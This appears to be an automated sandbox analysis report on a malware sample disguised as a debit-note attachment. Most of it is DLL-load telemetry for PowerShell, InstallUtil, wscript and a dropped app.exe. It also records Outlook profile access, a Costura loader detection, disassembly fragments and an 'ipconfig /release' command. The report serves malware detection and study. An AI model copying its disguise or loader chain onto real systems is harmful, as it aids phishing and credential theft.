Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\app.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Debit note -MSR_2024_0024- and Attachments.com.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1936749239.0000000006520000.00000004.08000000.00040000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1936749239.0000000006520000.00000004.08000000.00040000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003BC3000.00000004.00000800.00020000.00000000.sdmp, app.exe, 0000000F.00000002.2185813369.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1835401977.0000000000B0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Debit note -MSR_2024_0024- and Attachments.com.exe, 00000000.00000002.1941516329.0000000006D90000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.6d20000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Debit note -MSR_2024_0024- and Attachments.com.exe.6d20000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1941025623.0000000006D20000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1922724885.0000000003460000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Debit note -MSR_2024_0024- and Attachments.com.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: app.exe PID: 5844, type: MEMORYSTR

Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_01501F1D push es; retn 0006h	0_2_01501F22
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065CAE12 pushad ; retf	0_2_065CAE19
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C16B2 push es; retf	0_2_065C16B4
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C9FD2 pushad ; ret	0_2_065C9FD9
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_065C5391 push es; iretd	0_2_065C5394
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06BE4816 push es; retf	0_2_06BE481C
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C06983 push eax; iretd	0_2_06C07079
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C06988 push eax; iretd	0_2_06C07079
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C06963 push eax; iretd	0_2_06C07079
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32B6F push es; ret	0_2_06C32B72
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32B7F push cs; ret	0_2_06C32B81
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32CDB push 00000014h; ret	0_2_06C32CDE
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32CF7 push edi; ret	0_2_06C32CF9
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32CBF push 00000003h; ret	0_2_06C32CC2
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32C23 push ss; ret	0_2_06C32C2E
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32DC3 push ecx; ret	0_2_06C32DCD
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32DFF push ds; ret	0_2_06C32E02
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32D8B push cs; ret	0_2_06C32D92
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32DA7 push es; ret	0_2_06C32DAE
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32D57 push ds; ret	0_2_06C32D62
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06C32D63 push ss; ret	0_2_06C32D66
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06CFDB01 push E806D060h; ret	0_2_06CFDB0D
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06CF6890 push es; ret	0_2_06CF68A0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1E7D3 push FFFFFF8Bh; iretd	0_2_06D1E7D7
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1E781 push FFFFFF8Bh; ret	0_2_06D1E786
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1E7BC push FFFFFF8Bh; ret	0_2_06D1E7C0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D11397 push es; ret	0_2_06D1141C
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06D1E8F8 push FFFFFF8Bh; iretd	0_2_06D1E8FF
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF3649 push ebx; iretd	0_2_06DF364A
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DFD310 push es; ret	0_2_06DFD3C0
Source: C:\Users\user\Desktop\Debit note -MSR_2024_0024- and Attachments.com.exe	Code function: 0_2_06DF405D push es; ret	0_2_06DF4060

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release

